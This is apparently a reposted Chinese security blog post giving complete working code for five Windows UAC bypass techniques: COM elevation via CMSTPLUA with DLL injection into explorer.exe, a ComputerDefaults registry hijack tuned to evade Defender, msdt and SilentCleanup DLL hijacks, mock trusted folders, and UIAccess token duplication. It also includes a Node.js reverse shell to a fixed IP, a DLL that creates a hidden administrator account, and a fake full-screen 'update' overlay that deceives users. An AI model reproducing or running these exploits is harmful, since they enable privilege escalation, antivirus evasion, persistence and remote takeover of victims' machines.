这篇文章通过详细的步骤和代码,介绍了如何在Windows 11 24H2上绕过UAC,获得管理员权限。作者用三种主要方法(COM接口、ComputerDefaults.exe、msdt.exe)展示了如何利用系统漏洞执行提升权限的操作,同时提醒读者这些技术可能被用于恶意目的。
无论你是普通用户还是技术爱好者,这篇文章都能让你对Windows安全有更深的认识,同时提醒大家保持警惕,保护自己的设备安全。
距离我上次发表博文已经过去了将近一年,在此期间,我对重新审视现代的提权技术产生了浓厚的兴趣😸 我的目标始终是找到能够在所有 Windows 版本上执行并且至少能够绕过 Windows Defender 的代码。事实上,在撰写这些博文时,我会默认针对 Windows Defender 测试所有代码,以确保所有代码都经过了全面测试,并且至少能够绕过 Windows Defender,之后我才会分享我的发现。
无关内容,不过我还在网站左侧面板添加了一个更新的Discord链接,方便大家进来打个招呼。这些年来,我在 Twitter 上认识了不少人,自从不久前第一次加入 Twitter 以来,我一直非常享受与大家的交流。好的,让我们开始深入探讨第一个 UAC 绕过方法。
更新:2025年3月20日:我觉得微软有人偷偷看了这篇博客……😆 我这么说是因为我去年秋天发布的所有方法现在都弃用了。讽刺的是,我竟然能复活一个旧的UAC绕过方法,只要稍加调整,它仍然有效!更多信息请见下文:
UAC 绕过 #1 - 让我们回到大约 8 年前的某个时候……CMSTPLUA COM 接口 UAC 绕过 - (检测状态:未通过 Windows Defender 和 Sophos XDR 检测到)
是的,你没看错。据我所知,这个漏洞至少有8年历史了,说实话可能更久。我真不敢相信它居然还能用。它可以成功绕过Windows Defender和Sophos XDR。我还没有测试过其他漏洞。那么,它是如何运作的呢?
CMSTPLUA是一个COM 类对象,其 CLSID 为:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
这是一个自动提升的 COM 对象,可以在以下注册表位置找到:
ComputerHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionUACCOMAutoApprovalList
我们将利用 CMSTPLUA 公开的 COM 接口 ICMLuaUtil。此接口包含 ShellExec 方法,允许我们执行自定义的 .exe 文件。在CMSTPLUA上调用CoCreateInstance后,我们可以访问此方法以及该接口公开的其他方法。
使用 OleView,我们可以看到 COM 类对象及其公开的接口:
我们还可以使用 OleView 来查看它是否已 AutoApproved 以绕过 UAC,以及是否已提升:
那么接口中的 ShellExec 函数调用怎么样?是的,如果你愿意的话,我们也可以看到它 😸 只需启动 Binary Ninja 并打开C:WindowsSystem32cmlua.dll:
让我们把所有事情整合起来。我们将做以下事情:
-
调用 CoCreateInstance(CMSTPLUA CLSID,…,IID_ICMLuaUtil,…)。
-
接收 ICMLuaUtil* 接口指针。
-
调用 ICMLuaUtil::ShellExec(…) → 导致我们选择的进程提升
现在该写代码了!我们将按照惯例使用 Visual Studio。我们将定义 CLASS 对象 CLSID 和接口 CLSID,如下所示。
#include"pch.h"#include<shlobj.h>#include<atlbase.h>#include<shellapi.h> #pragma comment(lib, "shell32.lib") constwchar_t* CLSID_CMSTPLUA = L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}";constwchar_t* IID_ICMLuaUtil = L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}";
接下来,我们需要定义 vftable(虚函数表),这是一个由编译器创建的隐藏结构,用于保存指向类虚函数的指针。在本例中,我们关注的是列表中的第 7 个函数/方法ShellExec。AddRef() 和 Release() 被视为继承,因此我们无需包含它们。因此,从技术上讲,我们正在为 SetRasCredentials 到 ShellExec 设置函数/方法存根。顺便说一下,它必须按顺序排列,所以你不能直接排除其他方法,而只指向 ShellExec。
structICMLuaUtil :public IUnknown {virtual HRESULT STDMETHODCALLTYPE Method1()= 0;virtual HRESULT STDMETHODCALLTYPE Method2()= 0;virtual HRESULT STDMETHODCALLTYPE Method3()= 0;virtual HRESULT STDMETHODCALLTYPE Method4()= 0;virtual HRESULT STDMETHODCALLTYPE Method5()= 0;virtual HRESULT STDMETHODCALLTYPE Method6()= 0;virtual HRESULT STDMETHODCALLTYPE ShellExec( LPCWSTR lpFile, LPCWSTR lpParameters, LPCWSTR lpDirectory, ULONG fMask, ULONG nShow)= 0;};
接下来,我们将声明用于错误检查的 HRESULT 值以及指向 ICMLuaUtil 接口的智能 COM 指针。然后,我们将准备名字字符串以通过 COM 请求提升权限:
名字字符串:“Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}”此名字字符串请求 COM 创建 CMSTPLUA 类的提升权限实例。接下来,我们将在 CLSID 和 IID 上进行字符串到 GUID 的转换。然后,我们需要设置 CoGetObject() 的绑定选项,告诉它查找本地服务器 COM 对象。最后,我们使用CoGetObject()特殊的提升权限名字字符串来请求一个实现了 ICMLuaUtil 接口的提升权限 COM 对象。如果成功,它将使用ShellExecICMLuaUtil 的方法启动一个提升权限的 cmd.exe!
int injector() { HRESULT hr, coi; CComPtr<ICMLuaUtil> spLuaUtil; WCHAR moniker[MAX_PATH] = L"Elevation:Administrator!new:"; wcscat_s(moniker, CLSID_CMSTPLUA);CLSID clsid; IID iid; coi=CoInitialize(NULL); if (FAILED(CLSIDFromString(CLSID_CMSTPLUA, &clsid)) || FAILED(IIDFromString(IID_ICMLuaUtil, &iid))) { CoUninitialize();return-1; } BIND_OPTS3 opts; ZeroMemory(&opts, sizeof(opts)); opts.cbStruct = sizeof(opts); opts.dwClassContext = CLSCTX_LOCAL_SERVER; hr = CoGetObject(moniker, (BIND_OPTS*)&opts, iid, (void**)&spLuaUtil);if (SUCCEEDED(hr) && spLuaUtil) { spLuaUtil->ShellExec( L"C:\Windows\System32\cmd.exe", nullptr, nullptr, SEE_MASK_DEFAULT, SW_SHOW); } CoUninitialize();return0;}
最终的代码只是设置 DLLMain 和我们将要创建的线程以执行 injector() 函数的样板 DLL 代码:
DWORD WINAPI ThreadProc(LPVOID lpParameter){ HMODULE hModule = (HMODULE)lpParameter; injector(); FreeLibraryAndExitThread(hModule, 0);return0;}BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH: DisableThreadLibraryCalls(hModule); CreateThread(nullptr, 0, ThreadProc, hModule, 0, nullptr);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break; }return TRUE;}
但是等等……我们为什么要用 COM 绕过代码创建一个 DLL?好吧,事情是这样的。COM 对象非常挑剔,据我所知,如果它们不在受信任的父进程/调用进程(例如explorer.exe)中执行,就无法正确运行。
是的,兄弟,但这并不能解释DLL!我知道……我保证我会明白的😸 大多数人会选择进行PEB伪装,让它看起来像是可执行文件以explorer.exe的形式运行。
我和大多数人不一样,我喜欢简单的解决方案。😆 所以,我直接把我们的 DLL 注入 explorer.exe 就完事了。PEB 伪装只是炒作,别误会!如果你们愿意,下次我们可以这么做。现在,出于学习的目的,我们先走简单的路线。以下是一些基本的 DLL 注入代码,它们将所有内容整合在一起:
#include<windows.h>#include<tlhelp32.h>#include<iostream>DWORD GetExplorerPID(){ DWORD pid = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (snapshot == INVALID_HANDLE_VALUE) return0; PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32);if (Process32First(snapshot, &pe)) {do {if (_wcsicmp(pe.szExeFile, L"explorer.exe") == 0) { pid = pe.th32ProcessID;break; } } while (Process32Next(snapshot, &pe)); } CloseHandle(snapshot);return pid;}intmain(){ DWORD pid = GetExplorerPID();if (!pid) {std::wcerr << L"explorer.exe not found!n";return1; } HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");if (!hKernel32) return1;auto pLoadLibraryW = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");if (!pLoadLibraryW) return1; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (!hProcess) {std::wcerr << L"Failed to open explorer.exen";return1; }//update this to your path!!!constwchar_t* dllPath = L"C:\Users\robbi\source\repos\injected2\x64\Debug\injected2.dll";size_t size = (wcslen(dllPath) + 1) * sizeof(wchar_t); LPVOID remoteMem = VirtualAllocEx(hProcess, nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (!remoteMem) {std::wcerr << L"VirtualAllocEx failedn"; CloseHandle(hProcess);return1; }if (!WriteProcessMemory(hProcess, remoteMem, dllPath, size, nullptr)) {std::wcerr << L"WriteProcessMemory failedn"; VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess);return1; }// STEP 5: Create remote thread in explorer.exe HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, pLoadLibraryW, remoteMem, 0, nullptr);if (!hThread) {std::wcerr << L"CreateRemoteThread failedn"; }else {std::wcout << L"Injection successful!n"; CloseHandle(hThread); }// Clean up VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(hProcess);return0;}
编译并运行该程序,您将看到提升的命令提示符:)
这是一个非常有用的 UAC 绕过技巧,而且学习起来也很有趣!虽然在“始终通知 UAC”的设置下它不起作用,但在其他所有情况下都应该有效。谢谢,接下来的部分将介绍更简单的 UAC 绕过方法
与往常一样,完整的源代码可以在我的 github repo 中找到:
源代码-
https://github.com/g3tsyst3m/CodefromBlog/tree/main/2024-10-16-Creative%20UAC%20Bypass%20Methods%20for%20the%20Modern%20Era/CSMTP%20COM%20interface%20UAC%20Bypass
UAC 绕过 #2 - 重温老招!(检测状态:Windows Defender 未检测到)永久链接
我们将重新审视一个久经考验的 UAC 绕过方法,截至撰写本文时(2025 年 3 月 20 日),它仍然有效。(如果你正在读这篇文章,微软,我可不是闹着玩的!)我心想:“Windows Defender 不可能阻止所有这些经典的 UAC 绕过方法。” 果然,它们的过滤器并不那么给力。我们将使用目录ComputerDefaults.exe中的可执行文件C:WindowsSystem32。它的工作原理如下:
New-Item "HKCU:softwareclassesms-settingsshellopencommand" -ForceNew-ItemProperty "HKCU:softwareclassesms-settingsshellopencommand" -Name "DelegateExecute" -Value "" -ForceSet-ItemProperty "HKCU:softwareclassesms-settingsshellopencommand" -Name "(default)" -Value "[yourexecutable or command]" -ForceStart-Process "C:WindowsSystem32ComputerDefaults.exe"
这个参数是Windows Defender最关注的:-Value "[yourexecutable or command]"
如果您这样做:-Value "notepad",Defender 会非常冷静并且爱您。
如果你这样做:-Value "cmd"...
就这么简单,朋友们。不要包含驱动器号,不要包含常见的payload位置,例如c:userspublic…… c:temp。只需按照老套的……来操作,彻底避免所有这些,并让Defender相信你是对的。对吧?!😸
另外,我应该提一下,../../ 的路径是从 c:windowssystem32 -> c: 根目录。只需创建一个你选择的文件夹,并将你的 .exe 文件放入其中即可。
现在只剩下发表最终声明了:
Start-Process "C:WindowsSystem32ComputerDefaults.exe"比赛开始了!你放在Value参数中的 .exe 文件将会被执行,Defender 不会对你发出任何警告。
我可能还应该向你展示一下我的payload。我尽量保持简洁。它 barney.exe只是一个简单的C++加载器。当然,这只是为了演示。在实际的渗透测试场景中,你应该在实际场景中替换你实际的C2植入代码Value:
#include<windows.h>intmain(){ WinExec("c:\users\public\n0de.exe c:\users\public\elevationstation.js", 0);}
编译它并将其移动到您在 powershellValue字段/参数中指定的文件夹。
接下来,我将解释 Node 的相关内容。 N0de.exe它实际上是我从 Node.js 网站下载的可移植的重命名后的 Node.JS 二进制文件。我经常使用 Node 进行渗透测试,因为它是一个友好的、易于理解的二进制文件,而且似乎不易被发现。Node 随后会打开这个 .js 文件,也就是我的反向 Shell:
(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("cmd.exe", []);var client = new net.Socket();client.connect(4444, "192.168.0.134", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return/a/;})();
把所有这些放在一起,你会得到以下内容:
最终代码:
New-Item "HKCU:softwareclassesms-settingsshellopencommand" -ForceNew-ItemProperty "HKCU:softwareclassesms-settingsshellopencommand" -Name "DelegateExecute" -Value "" -ForceSet-ItemProperty "HKCU:softwareclassesms-settingsshellopencommand" -Name "(default)" -Value "../../myfolder/barney.exe" -ForceStart-Process "C:WindowsSystem32ComputerDefaults.exe"
就是这样。一个古老的UAC绕过技术竟然还能用,还能绕过UAC,还能躲过Defender!讽刺的是,它比我去年发的所有其他方法都简单。我想,与其费劲,不如想得更巧妙。好了,现在我对这篇博文感觉好多了。我可不能坐视大家看到这个页面,然后立刻就失望了,因为我分享的那些技术都不再适用了。现在至少有一个了😙 下次再见!
视频概念验证:
首先要感谢的是 Emeric Nasi,他很久以前就发现了这个技术。我只是根据自己的需求重新利用了它,并以一种读者能够理解和理解的方式呈现了出来 😸 他关于这种 UAC 绕过技术的原始文章可以在这里找到:https://blog.sevagas.com/? MSDT-DLL-Hijack-UAC-bypass
受影响的可执行文件是c:windowssyswow64msdt.exe,我们将抓住机会利用一个易受 DLL 劫持攻击的 DLL。之所以使用syswow64目录,是因为易受攻击的 DLL 是 x86/32 位版本,并且最终将由 加载,C:WINDOWSSysWOW64sdiagnhost.exe继 的初始加载之后msdt.exe。所涉及的 DLL 是:BluetoothDiagnosticUtil.dll
为了实现这一点,我们需要做的就是运行以下命令:
c:windowssyswow64msdt.exe -path C:WINDOWSdiagnosticsindexBluetoothDiagnostic.xml -skip yes
我不会详细解释它的工作原理。我建议你读读 Emeric 的文章,了解他是如何实现的。我可以说,与大多数 UAC 绕过漏洞一样,msdt.exe 是自动提升权限的。不过,自动提升权限部分依赖于 .xml 文件。
为了演示目的,我们还需要自定义 .dll 来执行 cmd.exe。我使用了以下代码(请确保将项目设置为 x86 编译):
#include"pch.h"#include<iostream>#include<windows.h>voidexecutor(){ STARTUPINFO si = { sizeof(STARTUPINFO) }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; // Ensures the console window is visible PROCESS_INFORMATION pi;if (CreateProcess(L"C:\Windows\System32\cmd.exe", // Application pathNULL, // Command line argsNULL, // Process handle not inheritableNULL, // Thread handle not inheritable FALSE, // Inherit handles CREATE_NEW_CONSOLE, // Ensures a new console windowNULL, // Use parent's environmentNULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO &pi) // Pointer to PROCESS_INFORMATION ) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }else {std::cerr << "Failed to start cmd.exe. Error: " << GetLastError() << std::endl; } }BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){switch (ul_reason_for_call) {case DLL_PROCESS_ATTACH: executor();case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break; }return TRUE;}
编译完成后,请务必将其放置在您选择的用户环境%PATH%变量中包含的文件夹中。我选择了c:myfolderBluetoothDiagnosticUtil.dll
让我们运行完整的命令并看看会发生什么:
c:windowssyswow64msdt.exe -path C:WINDOWSdiagnosticsindexBluetoothDiagnostic.xml -skip yes
首先,我们获得提升的 msdt.exe:
接下来,我们看到新生成的 cmd.exe!
最后的照片
游戏结束了!还不错吧?而且 Defender 一点动静都没有。轻松绕过了 EDR。就是这样!
此行以下的所有内容(Windows 11 22h2 以上版本)均已弃用。我猜 Windows 11 22H2 以下的操作系统仍然适用 😸
视频概念验证:
UAC 绕过技术 #3 - DLL 侧加载(UAC 设置 - 始终开启)
** 提醒:就 Windows 11 >22h2 而言,此功能将于 2025 年初的某个时候弃用 **
实现这个目标并不太难,尽管要在所有 Windows 11 版本(家庭版/专业版/教育版/企业版)中找到一个一致的 DLL 却很困难。我说的是那个著名的计划任务,SilentCleanup它当然会运行:cleanmgr.exe / dismhost.exe。多年来,这个计划任务一次又一次地被滥用,不知何故,它至今仍然是 UAC 绕过/权限提升的可靠载体。
如果我们继续运行这个计划任务,我们会看到我们有一个流浪的 DLL,它dismhost.exe迫切地希望通过 DLL 侧加载攻击被拦截🤯这个流浪的 DLL 被称为:api-ms-win-core-kernel32-legacy-l1.dll
让我们启动 Visual Studio 并编写一些代码来加载我们自定义的 dll。我做得有点过火,尽可能地确保 DLL 不会被加载锁定。你会看到我添加了一个新用户 mocker,并将其加入到管理员组。我还在 c: 目录中写入了一个文本文件,以进一步确认我们的新权限。
#include"pch.h"#include<windows.h>#pragma comment (lib, "user32.lib")DWORD WINAPI MyThread(LPVOID lpParam){ WinExec("cmd.exe /c net user mocker M0ck3d2024 /add && net localgroup administrators mocker /add", 0); WinExec("cmd.exe /c echo hey > c:\heythere.txt", 0);return0;}DWORD WINAPI WorkItem(LPVOID lpParam){ MyThread(NULL);return0;}BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){switch (fdwReason) {case DLL_PROCESS_ATTACH: DisableThreadLibraryCalls(hinstDLL); // Avoid unnecessary notifications// Use QueueUserWorkItem to safely execute code after the DLL has been loaded QueueUserWorkItem(WorkItem, NULL, WT_EXECUTEDEFAULT);// Optionally execute additional code here, e.g., WinExec command// WinExec("cmd.exe /c net user mocker M0ck3d2024 /add && net localgroup administrators mocker /add", 0);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break; }return TRUE;}
编译完成后,它位于我选择的 PATH 文件夹中:
现在,让我们再次启动该计划任务,看看会发生什么?!🤞
加载成功了!不过这并不能保证它一定能正常工作……我们来检查一下,确保新用户和文本文件都创建好了。
果然,新创建的管理员出现了😸
和文本文件:
好的!我们开始吧。 但是,这个绕过方法以及我将要介绍的另外两个方法有一个警告……它们不适用于即将推出的User Account Control Administrator Protection:
https://blogs.windows.com/windows-insider/2024/10/02/announcing-windows-11-insider-preview-build-27718-canary-channel/
相信我,我试过了...😿 但在此之前,即使将 UAC 设置为 ALWAYS ON,这种特殊的绕过方法也能起作用。
UAC 绕过技术 #4 - 模拟受信任文件夹(UAC 设置 - 当我更改 Windows 设置时不通知我)
更新:2025 年 3 月 18 日 - 这似乎不再适用于最新的 Windows 11(v24H2),可能也不再适用于 23H2。
这种特殊的技术,就像我们之前讨论的那个一样,并不是什么新鲜事物。它实际上已经存在了相当长一段时间。我去年在 Bleeping Computer 上读到一篇关于它的文章时发现了它:
https://www.bleepingcomputer.com/news/security/old-windows-mock-folders-uac-bypass-used-to-drop-malware/
其实很简单。我们在 c:WindowsSystem32 目录下找到一个自动提升权限的可执行文件,并强制它加载我们自定义的 dll。这个绕过方法的有趣之处在于,只有当 dll 位于受信任的 C:WindowsSystem32 文件夹中时,自动提升权限的可执行文件才能加载该 dll。我们使用模拟受信任文件夹技术来解决这个问题。简而言之,当你创建一个模拟文件夹时,该文件夹的尾部会包含一个空格,例如:c:windows
在我们的例子中,我们需要创建c:windows system32。据我理解,这是因为以下内容摘自 David Wells 在 Medium 上发表的一篇精彩文章:https://medium.com/@CE2Wells
我编辑了其中的一些内容以反映我们在此博客文章中使用的可执行文件:
当这条棘手的路径被发送到 AIS 进行权限提升请求时,它会被传递给GetLongPathNameW函数,后者会将其转换回“ C:WindowsSystem32easinvoker.exe ”(去掉了空格)。完美!现在,在后续的例程中,将使用这个字符串执行可信目录检查(使用 RtlPrefixUnicodeString)。妙处在于,在完成可信目录检查后,它会被释放,其余检查(以及最终的权限提升执行请求)将使用原始的可执行文件路径名(带有尾随空格)完成。—— David Wells
好的,让我们选择自动执行文件。我会选择easinvoker.exe
现在,我们需要先处理几件事。在使用 easinvoker.exe 加载 DLL 时,我们需要确保包含正确的导入函数。我不想处理大量的导入 API,所以我想找到一个只包含一两个 API 的 DLL。我们将使用免费的 WinAPISearch64 程序来完成这项工作!我选择这个 DLL 文件,netutils.dll因为它只包含一个导入的 API:
接下来,我需要了解该 API 的布局。我会去微软的网站上查看:
太棒了,让我们把它们放在一起:
//x86_64-w64-mingw32-gcc netutils.c -shared -o netutils.dll#include<windows.h>#include<lm.h>#include<wtypes.h>BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved){switch(dwReason){case DLL_PROCESS_ATTACH: WinExec("cmd.exe", 1); break;case DLL_PROCESS_DETACH:break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break; }return TRUE;}NET_API_STATUS WINAPI NetApiBufferFree(LPVOID Buffer){ Sleep(INFINITE);return1;}
编译它(我有时使用 Debian Linux 来编译 DLL。在这种情况下,我在使用 Visual Studio 时遇到了一些奇怪的问题,所以只能使用 mingw)
~$x86_64-w64-mingw32-gcc netutils.c -shared -o netutils.dll
最后,编写一些绕过 UAC 的糟糕代码
@echo offcd %USERPROFILE%Desktopmkdir"\?C:Windows "mkdir"\?C:Windows System32"copy"c:windowssystem32easinvoker.exe""C:Windows System32"cdc:tempcopy"netutils.dll""C:Windows System32""C:Windows System32easinvoker.exe"del /q "C:Windows System32*"rmdir "C:Windows System32"rmdir "C:Windows "cd %USERPROFILE%Desktop
就是这样!
现在,到了压轴大戏的时候了🙂 我玩这个玩得最开心,因为它最有创意,因此也最难学,也最难实现……至少对我个人来说是这样。但正因如此,研究起来才更有乐趣!我告诉你……
UAC 绕过技术 #5 - UI 访问令牌复制(UAC 设置 - 当我更改 Windows 设置时不通知我)
更新:2025 年 3 月 18 日 - 这个问题似乎已于 2024 年秋末某个时候得到修复
是的,它本身ctfmon看起来相当平淡。虽然它运行起来非常完整,但并没有完全提升。所以我会给它这个
让我们进一步探究一下,看看这个有趣却乏善可陈的进程到底是怎么回事。嗯,在 Process Hacker/System Informer 中查看进程时,你有没有想过这个问题?
我其实没怎么想过这个问题。不过话说回来,其他人对 Windows Internals 的研究比我深入得多。比如 James Forshaw……别忘了,这可是 2019 年的事了!
https://www.tiraniddo.dev/2019/02/accessing-access-tokens-for-uiaccess.html
我来简单说一下。我们可以复制 ctfmon 的进程令牌,并将令牌完整性更改为我们当前进程的完整性。然后,我们就能用 Leet 的超能力来做一个我高中时特别喜欢玩的老把戏了。使用 SendKeys 强制提升权限的程序执行我们的恶意命令……哇哈哈哈哈哈哈!通常情况下,嗯……在 Windows XP 之后的某个时候……标准用户无法与提升权限的应用程序窗口交互。但是,有了 UIAccess,欢迎回到 Windows XP 和 Windows 7 的时代,那时杀毒软件很烂,没有任何限制……什么都行!时间不早了,我得开始做了。代码如下:
#include<windows.h>#include<iostream>#include<string>// Helper function to adjust token integrityboolSetTokenIntegrityLevel(HANDLE hTokenTarget, HANDLE hTokenSource){ DWORD dwSize = 0; TOKEN_MANDATORY_LABEL* pTILSource = nullptr;// Get the integrity level of the current process tokenif (!GetTokenInformation(hTokenSource, TokenIntegrityLevel, nullptr, 0, &dwSize) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) {std::cerr << "Failed to get token integrity level size: " << GetLastError() << std::endl;returnfalse; } pTILSource = (TOKEN_MANDATORY_LABEL*)malloc(dwSize);if (!pTILSource) {std::cerr << "Memory allocation failed.n";returnfalse; }if (!GetTokenInformation(hTokenSource, TokenIntegrityLevel, pTILSource, dwSize, &dwSize)) {std::cerr << "Failed to get token integrity level: " << GetLastError() << std::endl;free(pTILSource);returnfalse; }// Set the integrity level for the target tokenif (!SetTokenInformation(hTokenTarget, TokenIntegrityLevel, pTILSource, dwSize)) {std::cerr << "Failed to set token integrity level: " << GetLastError() << std::endl;free(pTILSource);returnfalse; }free(pTILSource);returntrue;}intmain(int argc, char* argv[]){if (argc != 2) {std::cerr << "Usage: <program> <PID of ctfmon.exe>" << std::endl;return1; } DWORD targetPID = std::stoi(argv[1]); HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, targetPID);if (!hProcess) {std::cerr << "Failed to open target process: " << GetLastError() << std::endl;return1; } HANDLE hToken = NULL;if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {std::cerr << "Failed to open process token: " << GetLastError() << std::endl; CloseHandle(hProcess);return1; } HANDLE hCurrentProcessToken = NULL;if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hCurrentProcessToken)) {std::cerr << "Failed to open current process token: " << GetLastError() << std::endl; CloseHandle(hToken); CloseHandle(hProcess);return1; } HANDLE hNewToken = NULL;if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenPrimary, &hNewToken)) {std::cerr << "Failed to duplicate token: " << GetLastError() << std::endl; CloseHandle(hCurrentProcessToken); CloseHandle(hToken); CloseHandle(hProcess);return1; }// Set the integrity level to match the current processif (!SetTokenIntegrityLevel(hNewToken, hCurrentProcessToken)) {std::cerr << "Failed to set integrity level: " << GetLastError() << std::endl; CloseHandle(hNewToken); CloseHandle(hCurrentProcessToken); CloseHandle(hToken); CloseHandle(hProcess);return1; }// Prepare to create a new process with UIAccess STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR commandLine[] = L"powershell.exe";// Create the process with UIAccessif (!CreateProcessAsUser(hNewToken,nullptr, commandLine, // Replace with your desired processnullptr,nullptr, FALSE, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,nullptr,nullptr, &si, &pi)) {std::cerr << "Failed to create process: " << GetLastError() << std::endl; CloseHandle(hNewToken); CloseHandle(hCurrentProcessToken); CloseHandle(hToken); CloseHandle(hProcess);return1; }std::cout << "Process created with PID: " << pi.dwProcessId << std::endl;// Clean up CloseHandle(hNewToken); CloseHandle(hCurrentProcessToken); CloseHandle(hToken); CloseHandle(hProcess); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);return0;}
编译它,然后运行它:
现在,检查您新创建的 powershell 进程的令牌权限!
让我们发挥创意吧😸 我们现在可以将密钥发送给权限提升的程序了。那么,让我们启动一个自动提升权限的程序,用它来获取管理员权限,比如说…… taskschd.msc!
我要用一个 Powershell 脚本来实现这个功能。这其实挺搞笑的。我把它设计成绿色,覆盖整个屏幕,并显示一条消息,告诉用户按 Enter 键,如果出现提示,则按“是”(前提是设置了 UAC 始终开启)。当然,用表单覆盖整个屏幕只有在受害者使用笔记本电脑时才最有效。我看看能不能截取下面这段疯狂操作的截图。代码如下:
$UACRegKeyPath = "HKLM:SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem"$UACValue = Get-ItemProperty -Path $UACRegKeyPath -Name ConsentPromptBehaviorAdmin | Select-Object -ExpandProperty ConsentPromptBehaviorAdminswitch ($UACValue) { 0 { "0 - UAC is disabled (Never notify)." } 1 { "1 - UAC enabled - Prompt for credentials on the secure desktop (Always notify)." } 2 { "2 - UAC enabled - Prompt for consent on the secure desktop." } 3 { "3 - UAC enabled - Prompt for consent for non-Windows binaries." } 4 { "4 - UAC enabled - Automatically deny elevation requests." } 5 { "5 - UAC enabled - Prompt for consent for non-Windows binaries." } Default { "Unknown UAC setting." }}Add-Type -AssemblyName System.Windows.FormsAdd-Type -AssemblyName System.Drawing$form = New-Object System.Windows.Forms.Form$form.FormBorderStyle = 'None'$form.WindowState = 'Maximized'$form.BackColor = [System.Drawing.Color]::Green$form.TopMost = $true$form.KeyPreview = $true$form.Add_KeyDown({ param($sender, $eventArgs) if ($eventArgs.KeyCode -eq [System.Windows.Forms.Keys]::Enter) { $sender.Close() }})$form.Add_Paint({ param($sender, $event) $graphics = $event.Graphics $text = "[ Please hit (Enter) then select (YES) if prompted to continue the update ]" $font = New-Object System.Drawing.Font("Arial", 36, [System.Drawing.FontStyle]::Bold) $brush = [System.Drawing.Brushes]::White $textSize = $graphics.MeasureString($text, $font) $x = ($form.ClientSize.Width - $textSize.Width) / 2 $y = ($form.ClientSize.Height - $textSize.Height) / 2 $graphics.DrawString($text, $font, $brush, $x, $y)})$form.Show()Add-Type @"using System;using System.Runtime.InteropServices;public class User32 { [DllImport("user32.dll")] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool SetForegroundWindow(IntPtr hWnd);}"@Start-Process "cmd.exe" -ArgumentList "/C start taskschd.msc" -NoNewWindowStart-Sleep -Seconds 5$taskschd = Get-Process -Name "mmc" -ErrorAction SilentlyContinueif ($taskschd) { $hwnd = $taskschd.MainWindowHandle [User32]::SetForegroundWindow($hwnd) # Wait a moment for the window to come to the front Start-Sleep -Seconds 2 # Send keystrokes to azman/mmc [void][System.Windows.Forms.SendKeys]::SendWait("%") [void][System.Windows.Forms.SendKeys]::SendWait("{RIGHT}") [void][System.Windows.Forms.SendKeys]::SendWait("{DOWN}") [void][System.Windows.Forms.SendKeys]::SendWait("{DOWN}") [void][System.Windows.Forms.SendKeys]::SendWait("{DOWN}") [void][System.Windows.Forms.SendKeys]::SendWait("{DOWN}") [void][System.Windows.Forms.SendKeys]::SendWait("{ENTER}") Start-Sleep -Seconds 2 [void][System.Windows.Forms.SendKeys]::SendWait("{TAB}") [void][System.Windows.Forms.SendKeys]::SendWait("{TAB}") [void][System.Windows.Forms.SendKeys]::SendWait("{TAB}") [void][System.Windows.Forms.SendKeys]::SendWait("{TAB}") [void][System.Windows.Forms.SendKeys]::SendWait("{TAB}") [void][System.Windows.Forms.SendKeys]::SendWait("{TAB}") [void][System.Windows.Forms.SendKeys]::SendWait(" ") Start-Sleep -Seconds 1 [void][System.Windows.Forms.SendKeys]::SendWait("cmd{ENTER}")} else { Write-Host "taskschd/mmc is not running."} $form.Close()
这让我很开心,因为这一切都发生在幕后,当绿屏消失时,有效载荷就会执行,而用户不会看到它……好吧……如果他们只使用一个屏幕,哈哈
以下是该过程的屏幕截图:
我真的得用我的 iPhone 拍张电脑显示器的照片,这样你们才能看到结果😄以及最终的管理员命令 shell!你当然会想用它来执行反向 shell 之类的操作。但为了演示,我想让你们看看管理员 shell。
天色已晚,我得下车了。希望你喜欢这些老掉牙的 UAC 绕过技巧的全新演绎。下次再见,希望不是一年后……再见!
原文始发于微信公众号(Ots安全):现代的创新 UAC 绕过方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
